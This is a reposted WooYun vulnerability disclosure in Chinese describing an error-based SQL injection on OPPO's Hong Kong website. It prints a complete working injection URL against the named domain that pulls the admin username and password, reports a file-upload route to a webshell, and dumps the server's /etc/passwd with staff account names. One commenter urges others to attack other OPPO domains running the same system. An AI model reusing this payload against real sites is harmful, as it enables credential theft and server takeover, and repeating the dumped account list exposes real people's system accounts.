OPPO手机hk主站报错SQL注入(已Getshell)

admin

140696
文章

117
评论

2017年4月30日20:58:05评论582 views字数 234阅读0分46秒阅读模式

摘要

2016-05-29：细节已通知厂商并且等待厂商处理中
2016-05-29：厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-08：厂商已经主动忽略漏洞，细节向公众公开

漏洞概要关注数(15) 关注此漏洞

缺陷编号： WooYun-2016-214076

漏洞标题： OPPO手机hk主站报错SQL注入(已Getshell)

漏洞作者： S1mba_辛巴

提交时间： 2016-05-29 20:35

公开时间： 2016-06-08 10:10

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

0人收藏

漏洞详情

披露状态：

简要描述：

oppo手机hk主站报错注入(已getshell)

详细说明：

mask 区域

1.http://**.**.**//club_register.phpact=check_username&username=aa

报错注入

code 区域

http://www.oppodigital.com.hk//club_register.php?act=check_username&username=aa' 
  AND (SELECT 4089 FROM(SELECT COUNT(*),CONCAT(0x7162767071,(select concat(0x23,
 0x23,username,0x23,0x23,password,0x23,0x23) from bd_admin where id=1 limit 1),0x7176716b71,FLOOR(RAND(0)*2))x 
 FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'gyjt'='gyjt

注入得到数据登陆后台

存在任意文件上传 getshell

code 区域

nginx:x:105:107:nginx user,,,:/nonexistent:/bin/false
 
 mysql:x:106:108:MySQL Server,,,:/nonexistent:/bin/false
 
 messagebus:x:107:109::/var/run/dbus:/bin/false
 
 #xtjiao:x:1003:1003:,,,:/home/xtjiao:/bin/bash
 
 #zwzheng:x:1004:1004:,,,:/home/zwzheng:/bin/bash
 
 syncer:x:1005:1005:,,,:/home/syncer:/bin/bash
 
 sphinxsearch:x:108:110:Sphinx fulltext search service,,,:/var/run/sphinxsearch:/bin/false
 
 redis:x:109:111:redis server,,,:/var/lib/redis:/bin/false
 
 hwang:x:1006:1006:,,,:/home/hwang:/bin/bash
 
 lchen:x:1007:1007:,,,:/home/lchen:/bin/bash
 
 hbai:x:1002:1009:,,,:/home/hbai:/bin/bash
 
 avahi:x:110:112:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
 
 tomcat55:x:111:65534::/usr/share/tomcat5.5:/bin/false
 
 mjzhou:x:1000:1008:,,,:/home/mjzhou:/bin/bash
 
 qxu:x:1003:1010:,,,:/home/qxu:/bin/bash
 
 wjzhu:x:1004:1011:,,,:/home/wjzhu:/bin/bash
 
 cywang:x:1008:1012:,,,:/home/cywang:/bin/bash
 
 zjli:x:1009:1013::/home/zjli:/bin/sh
 
 yfhu:x:1010:1014::/home/yfhu:/bin/sh
 
 ljni:x:1011:1015::/home/ljni:/bin/sh

漏洞证明：

已经证明

修复方案：

版权声明：转载请注明来源 S1mba_辛巴@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-06-08 10:10

厂商回复：

漏洞Rank：15 (WooYun评价)

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2016-05-29 21:29 | webhe4d ( 普通白帽子 | Rank:143 漏洞数:48 )

0

可以。

1# 回复此人
2016-05-31 14:47 | adminss ( 路人 | Rank:24 漏洞数:19 | ▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇...)

0

_辛巴

2# 回复此人
2016-06-08 20:18 | Ztz ( 普通白帽子 | Rank:171 漏洞数:44 | 黄金守门员)

0

oppo好多域名都是这套系统。大家快去刷分。

3# 回复此人
2016-06-12 11:32 | 立志成为厨神的男人 ( 路人 | Rank:15 漏洞数:1 | 我饿了)

0

为什么你们都这么屌为什么我搞的后台都基本不能上传哭昏在厕所

4# 回复此人

漏洞概要 关注数(15) 关注此漏洞